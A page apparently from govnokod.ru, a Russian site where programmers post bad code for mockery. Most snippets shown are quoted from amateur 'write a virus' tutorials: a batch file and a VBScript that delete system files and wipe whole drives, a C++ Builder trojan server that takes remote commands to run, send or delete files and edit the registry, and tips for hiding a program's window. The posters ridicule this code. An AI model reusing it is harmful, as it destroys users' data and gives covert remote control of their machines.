- 1
- 2
- 3
- 4
- 5
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — FalseНашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 246
+131
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
            И Хабр туда-же...
http://habrahabr.ru/post/127278/
        
+131
Cd\ 
Cd C: 
Сd winMe 
Del *.exe 
Del *.ini 
Del *.com 
Cd\ 
Cd win98 
Cd system 
Del *.dll 
Del *.exe
            Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так) 
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!! 
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8
        
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
 
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                  // информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;  // создаем объект наших утилит 
Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                // находится на форме, а TTrojanUtilites не имеет никакого отношения
                // к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
cn = StrToInt(temp);       // преобразуем в число
received.Delete(1,1);      // удаляем код команды - остаются одни параметры
switch (cn) {         // в соответсвии с полученой командой 
                                // запускаем соотвествующую утилиту 
case 1 : Utilz.RestartMachine(); break;  // перезагрузка
case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
case 4 : Utilz.SendFile(received); break;       // чтение файла
case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                           // информируем клиента об этом
}
}
            NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
        
−117
on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
fso.deletefile "C:*.*",1
fso.deletefolder "C:*.*",1
fso.deletefile "D:*.*",1
fso.deletefolder "D:*.*",1
fso.deletefile "E:*.*",1
fso.deletefolder "E:*.*",1
fso.deletefile "F:*.*",1
fso.deletefolder "F:*.*",1
fso.deletefile "G:*.*",1
fso.deletefolder "G:*.*",1
fso.deletefile "H:*.*",1
fso.deletefolder "H:*.*",1
fso.deletefile "I:*.*",1
fso.deletefolder "I:*.*",1
fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1
            Школота пишет охуительный троян.
http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html
        
+133
if (other && other->client && other->s.number < MAX_CLIENTS)
		{//player touched me
			/*
			char *text;
			qboolean	keyTaken;
			//give him my key
                        ...
			*/
			//rwwFIXMEFIXME: support for goodie/security keys?
			/*
			if ( keyTaken )
			{//remove my key
				NPC_SetSurfaceOnOff( self, "l_arm_key", 0x00000002 );
				self->message = NULL;
				//FIXME: temp pickup sound
				G_Sound( player, G_SoundIndex( "sound/weapons/key_pkup.wav" ) );
				//FIXME: need some event to pass to cgame for sound/graphic/message?
			}
			//FIXME: temp message
			gi.SendServerCommand( NULL, text );
			*/
		}FIXMEFIXMEFIXME... Да ну нахуй, лучше все закомментим.
+154
var SE = document.getElementsByTagName("a");
for (var i = 0; i < SE.length; i++)
{
    if (SE[i].href.indexOf('http://www.govnokod.ru/ratings/comment/') == 0
	    && SE[i].href.indexOf('on') != -1)
	{
		plusIT(SE[i].href);
		console.log(SE[i].href);
	}
}
function plusIT(ID)
{
	$.get(
    ID,
    {},
    function(x) {
    });
}